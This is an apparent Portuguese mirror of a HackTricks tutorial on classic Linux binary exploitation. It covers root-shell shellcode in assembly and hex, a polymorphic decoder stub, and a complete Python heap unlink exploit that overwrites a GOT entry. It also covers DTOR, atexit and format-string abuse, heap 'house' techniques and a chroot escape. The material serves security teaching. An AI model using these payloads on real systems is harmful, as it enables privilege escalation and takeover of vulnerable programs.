mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
642 lines
36 KiB
Markdown
642 lines
36 KiB
Markdown
# Exploração no Linux (Básico)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; limpamos eax\
|
||
xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Executar syscall
|
||
|
||
**nasm -f elf assembly.asm** —> Retorna um .o\
|
||
**ld assembly.o -o shellcodeout** —> Gera um executável com o código em assembly e podemos extrair os opcodes com **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
|
||
|
||
**Verificar se o shellcode funciona**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
|
||
|
||
Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
|
||
|
||
EX **TRUCO (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**EJ usando o Stack(/bin/sh):**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Buscador de Ovos:**
|
||
|
||
Trata-se de um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procura por alguma assinatura colocada na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.
|
||
|
||
**Shellcodes Polimórficos**
|
||
|
||
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5. Métodos complementares**
|
||
|
||
**Ret2Ret**
|
||
|
||
Útil quando não é possível inserir um endereço de pilha no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização do shellcode. No entanto, a função vulnerável aceita um parâmetro (o shellcode será colocado aqui).
|
||
|
||
Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima instrução será carregada (que é o endereço do primeiro argumento da função). Ou seja, o shellcode será carregado.
|
||
|
||
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início do shellcode, pois o endereço do argumento passado é colocado na pilha)
|
||
|
||
Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde o shellcode estava armazenado, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena o shellcode) é modificado por um 0x00, então, ao chamar o segundo **ret**, ele encontra um 0x00 e o programa trava.
|
||
|
||
**Técnica de Murat**
|
||
|
||
No Linux, todos os programas são mapeados começando em 0xbfffffff.
|
||
|
||
Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja o shellcode. O endereço desta variável pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode)
|
||
|
||
Dessa forma, seria facilmente obtido o endereço onde está a variável de ambiente com o shellcode.
|
||
|
||
Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
|
||
|
||
**Estouros de inteiros**
|
||
|
||
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
|
||
```c
|
||
#include <stdion.h>
|
||
#include <string.h>
|
||
#include <stdlib.h>
|
||
|
||
int main(int argc, char *argv[]){
|
||
int len;
|
||
unsigned int l;
|
||
char buffer[256];
|
||
int i;
|
||
len = l = strtoul(argv[1], NULL, 10);
|
||
printf("\nL = %u\n", l);
|
||
printf("\nLEN = %d\n", len);
|
||
if (len >= 256){
|
||
printf("\nLongitus excesiva\n");
|
||
exit(1);
|
||
}
|
||
if(strlen(argv[2]) < l)
|
||
strcpy(buffer, argv[2]);
|
||
else
|
||
printf("\nIntento de hack\n");
|
||
return 0;
|
||
}
|
||
```
|
||
No exemplo acima, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.
|
||
|
||
Se passarmos um número negativo como o primeiro parâmetro, ele mostrará que len < 256 e passará por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
|
||
|
||
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
|
||
|
||
**Variáveis não inicializadas**
|
||
|
||
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observar isso. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
|
||
|
||
##
|
||
|
||
###
|
||
|
||
###
|
||
|
||
###
|
||
|
||
### **.fini\_array**
|
||
|
||
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**.
|
||
```bash
|
||
objdump -s -j .fini_array ./greeting
|
||
|
||
./greeting: file format elf32-i386
|
||
|
||
Contents of section .fini_array:
|
||
8049934 a0850408
|
||
|
||
#Put your address in 0x8049934
|
||
```
|
||
Note que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá **ter mais 1 execução** da vulnerabilidade.
|
||
|
||
### **Formatar Strings para Extrair Conteúdo**
|
||
|
||
Uma string de formato também pode ser abusada para **extrair conteúdo** da memória do programa.\
|
||
Por exemplo, na seguinte situação há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**:
|
||
|
||
Então, a flag está em **0xffffcf4c**
|
||
|
||
![](<../../.gitbook/assets/image (618) (2).png>)
|
||
|
||
E a partir do vazamento você pode ver que o **ponteiro para a flag** está no **8º** parâmetro:
|
||
|
||
![](<../../.gitbook/assets/image (623).png>)
|
||
|
||
Portanto, **acessando** o **8º parâmetro** você pode obter a flag:
|
||
|
||
![](<../../.gitbook/assets/image (624).png>)
|
||
|
||
Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** está **carregado** e **extrair** ele **inteiramente**!
|
||
|
||
### **DTOR**
|
||
|
||
{% hint style="danger" %}
|
||
Atualmente é muito **incomum encontrar um binário com uma seção dtor**.
|
||
{% endhint %}
|
||
|
||
Os destrutores são funções que são **executadas antes do programa terminar**.\
|
||
Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.\
|
||
Obtenha o endereço desta seção com:
|
||
```bash
|
||
objdump -s -j .dtors /exec
|
||
rabin -s /exec | grep “__DTOR”
|
||
```
|
||
Geralmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
|
||
|
||
### **Strings de Formato para Estouros de Buffer**
|
||
|
||
O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você pode abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\
|
||
Por exemplo, a carga `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer.
|
||
|
||
### **Estruturas \_\_atexit**
|
||
|
||
{% hint style="danger" %}
|
||
Atualmente é muito **incomum explorar isso**.
|
||
{% endhint %}
|
||
|
||
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
|
||
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** sobre o **processo**, mas atualmente isso é mais complicado.\
|
||
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
|
||
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
|
||
|
||
### **setjmp() & longjmp()**
|
||
|
||
{% hint style="danger" %}
|
||
Atualmente é muito **incomum explorar isso**.
|
||
{% endhint %}
|
||
|
||
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
|
||
**`longjmp()`** permite **restaurar** o **contexto**.\
|
||
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\
|
||
Eles são úteis para recuperação de erros ou interrupções.\
|
||
No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
|
||
|
||
**VTable e VPTR em C++**
|
||
|
||
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
|
||
|
||
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ela poderia ser **modificada** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode.
|
||
|
||
## **Medidas Preventivas e Evasões**
|
||
|
||
###
|
||
|
||
**Substituição do Libsafe**
|
||
|
||
Ativado por: LD\_PRELOAD=/lib/libsafe.so.2\
|
||
ou\
|
||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||
|
||
Ele intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
|
||
|
||
**Espaço de Endereço ASCII Armored**
|
||
|
||
Consiste em carregar bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
|
||
|
||
**ret2plt**
|
||
|
||
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a direção armazenada na GOT que será system() é chamada.
|
||
|
||
**Jaulas com chroot()**
|
||
|
||
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
|
||
|
||
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
|
||
|
||
**Instrumentação de Código**
|
||
|
||
Valgrind —> Procura por erros\
|
||
Memcheck\
|
||
RAD (Return Address Defender)\
|
||
Insure++
|
||
|
||
## **8 Estouros de Heap: Exploits Básicos**
|
||
|
||
**Chunk Alocado**
|
||
|
||
prev\_size |\
|
||
size | —Cabeçalho\
|
||
\*mem | Dados
|
||
|
||
**Chunk Livre**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | Ptr chunk seguinte\
|
||
\*bk | Ptr chunk anterior —Cabeçalho\
|
||
\*mem | Dados
|
||
|
||
Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos)
|
||
|
||
No “size” há bits para indicar: Se o chunk anterior está em uso, se o chunk foi alocado por meio de mmap() e se o chunk pertence à arena primária.
|
||
|
||
Ao liberar um chunk, se algum dos contíguos estiver livre, eles são fundidos pela macro unlink() e o novo chunk maior é passado para frontlink() para ser inserido no bin apropriado.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> O BK do novo chunk é o que o chunk que já estava livre antes tinha\
|
||
FD = P->fd; —> O FD do novo chunk é o que o chunk que já estava livre antes tinha\
|
||
FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk\
|
||
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
|
||
}
|
||
|
||
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, é possível:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
E assim, o shellcode é executado ao sair do programa.
|
||
|
||
Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a alguns nops que levam ao restante do shellcode.
|
||
|
||
Portanto, o exploit é criado:
|
||
|
||
No buffer1, inserimos o shellcode começando com um jmp para que ele caia nos nops ou no restante do shellcode.
|
||
|
||
Após o shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º chunk se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º chunk está livre. Então ele chamará **unlink()**.
|
||
|
||
Ao chamar unlink(), ele usará os primeiros dados do 2º chunk como P->fd, então o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele adicionará 12 ao endereço armazenado em FD) será inserido lá. E nesse endereço, a segunda direção encontrada no 2º chunk será inserida, que será o endereço do shellcode (falso P->bk).
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o chunk anterior está livre esteja como 1**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o "size" do 3º chunk está 4bytes atrás (aponta para prev\_size) onde ele verifica se o 2º chunk está livre**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, vamos adicionar 8 bytes de preenchimento no início**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será sobrescrito para executar o shellcode na 2ª chamada de free)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Como mencionado, o payload começa com 8 bytes de preenchimento**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #O 2º chunk é modificado, got\_free aponta para onde vamos armazenar o endereço addr\_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() liberando em ordem inversa (wargame)**
|
||
|
||
Estamos controlando 3 chunks consecutivos e eles são liberados em ordem inversa à reserva.
|
||
|
||
Neste caso:
|
||
|
||
No chunk c, colocamos o shellcode
|
||
|
||
Usamos o chunk a para sobrescrever o b de forma que o bit PREV\_INUSE do tamanho seja desativado, fazendo o programa pensar que o chunk a está livre.
|
||
|
||
Além disso, sobrescrevemos o tamanho na cabeça do b para ser -4.
|
||
|
||
Assim, o programa pensará que "a" está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o tamanho PREV\_SIZE é -4, ele pensará que o chunk "a" realmente começa em b+4. Ou seja, fará um unlink() em um chunk que começa em b+4, então em b+12 estará o ponteiro "fd" e em b+16 estará o ponteiro "bk".
|
||
|
||
Dessa forma, se colocarmos o endereço do shellcode em bk e o endereço da função "puts()" -12 em fd, teremos nosso payload.
|
||
|
||
**Técnica de Frontlink**
|
||
|
||
Frontlink é chamado quando algo é liberado e nenhum dos chunks adjacentes está livre, unlink() não é chamado, mas frontlink() é chamado diretamente.
|
||
|
||
Vulnerabilidade útil quando o malloc atacado nunca é liberado (free()).
|
||
|
||
Requer:
|
||
|
||
Um buffer que pode ser estourado com a função de entrada de dados
|
||
|
||
Um buffer adjacente a este que deve ser liberado e terá o campo fd de sua cabeça modificado devido ao estouro do buffer anterior
|
||
|
||
Um buffer para liberar com um tamanho maior que 512, mas menor que o buffer anterior
|
||
|
||
Um buffer declarado antes do passo 3 que permite sobrescrever o prev\_size deste
|
||
|
||
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas apenas um é liberado, podemos fazer um exploit.
|
||
|
||
**Vulnerabilidade double free()**
|
||
|
||
Se free() for chamado duas vezes com o mesmo ponteiro, dois bins apontarão para o mesmo endereço.
|
||
|
||
Se quisermos reutilizar um, não haverá problemas. Se quisermos usar outro, ele receberá o mesmo espaço, então teremos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreverá.
|
||
|
||
**After free()**
|
||
|
||
Um ponteiro previamente liberado é usado novamente sem controle.
|
||
|
||
## **8 Heap Overflows: Exploits avançados**
|
||
|
||
As técnicas Unlink() e FrontLink() foram removidas ao modificar a função unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Apenas uma chamada para free() é necessária para executar código arbitrário. É interessante procurar um segundo chunk que possa ser estourado por um anterior e liberado.
|
||
|
||
Uma chamada para free() chama public\_fREe(mem), que faz:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde o chunk começa (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
|
||
|
||
…
|
||
|
||
\_int_free(ar_ptr, mem);
|
||
|
||
}
|
||
|
||
Em \[1], verifica o campo size do bit NON_MAIN_ARENA, que pode ser alterado para que a verificação retorne verdadeira e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (em nosso caso, de 0x0804a000, deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)
|
||
|
||
Dessa forma, se pudermos controlar um chunk, por exemplo, em 0x0804a000 e um chunk será liberado em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo, **0x0804a000**. Quando este segundo chunk for liberado, ele encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado a 0x081002a0 o and que vimos antes e daí é extraído o valor dos primeiros 4 bytes, o ar_ptr)
|
||
|
||
Dessa forma, chama-se \_int_free(ar_ptr, mem), ou seja, **\_int_free(0x0804a000, 0x081002a0)**\
|
||
**\_int_free(mstate av, Void_t\* mem){**\
|
||
…\
|
||
bck = unsorted_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no chunk que será liberado.
|
||
|
||
Como unsorted_chunks é definido, sabemos que:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Portanto, se escrevermos o valor de \_\_DTOR_END\_\_-12 em av->bins\[2], na última instrução, será escrito em \_\_DTOR_END\_\_ o endereço do segundo chunk.
|
||
|
||
Ou seja, no primeiro chunk, no início, devemos colocar muitas vezes o endereço de \_\_DTOR_END\_\_-12, pois é de lá que av->bins\[2] o pegará.
|
||
|
||
No endereço onde cair o endereço do segundo chunk com os últimos 5 zeros, devemos escrever o endereço deste primeiro chunk para que heap_for_ptr() pense que ar_ptr está no início do primeiro chunk e pegue av->bins\[2] de lá.
|
||
|
||
No segundo chunk e graças ao primeiro, sobrescrevemos o prev_size com um salto 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
|
||
|
||
Em seguida, no chunk 2, colocamos muitos nops e, finalmente, o shellcode
|
||
|
||
Dessa forma, \_int_free(TROÇO1, TROÇO2) será chamado e seguirá as instruções para escrever em \_\_DTOR_END\_\_ o endereço do prev_size do TROÇO2, que saltará para o shellcode.
|
||
Para aplicar esta técnica, é necessário que alguns requisitos sejam atendidos, o que complica um pouco mais o payload.
|
||
|
||
Esta técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local para onde aponta também está apontando para ele.
|
||
|
||
**Fastbin**
|
||
|
||
É uma variante de The house of mind
|
||
|
||
Interessa-nos executar o seguinte código após a primeira verificação da função \_int\_free()
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max\_fast deve estar na direção que será sobrescrita.
|
||
|
||
Dado que com The House of Mind vimos que controlávamos a posição do av.
|
||
|
||
Então, se no campo size for inserido um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() retornará fastbins\[-1\], que apontará para av->max\_fast
|
||
|
||
Neste caso, av->max\_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).
|
||
|
||
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).
|
||
|
||
Além disso, esse mesmo chunk falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes adiante.
|
||
|
||
Devido aos nulos de \_DTOR\_END\_ e às poucas direções na GOT, nenhuma direção dessas seções serve para ser sobrescrita, então vejamos como aplicar fastbin para atacar a pilha.
|
||
|
||
Outra forma de ataque é redirecionar o **av** para a pilha.
|
||
|
||
Se modificarmos o size para ser 16 em vez de 8, então: fastbin\_index() retornará fastbins\[0\] e podemos usar isso para sobrescrever a pilha.
|
||
|
||
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, devemos encontrar o seguinte: 4 bytes nulos + EBP + RET
|
||
|
||
Os 4 bytes nulos são necessários para que o **av** esteja nessa direção e o primeiro elemento de um **av** é o mutex que deve ser 0.
|
||
|
||
O **av->max\_fast** será o EBP e será um valor que nos permitirá ignorar as restrições.
|
||
|
||
No **av->fastbins\[0\]** será sobrescrito com a direção de **p** e será o RET, assim a shellcode será executada.
|
||
|
||
Além disso, em **av->system\_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita.
|
||
|
||
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).
|
||
|
||
**The House of Spirit**
|
||
|
||
Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).
|
||
|
||
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.
|
||
|
||
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 ficaria atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
|
||
|
||
Caso isso seja cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço do EBP será atribuído. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
|
||
|
||
Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço que aponta para o EBP da pilha há um chunk de tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.
|
||
|
||
**The House of Force**
|
||
|
||
É necessário:
|
||
|
||
* Um overflow para um chunk que permita sobrescrever o wilderness
|
||
* Uma chamada para malloc() com o tamanho definido pelo usuário
|
||
* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
|
||
|
||
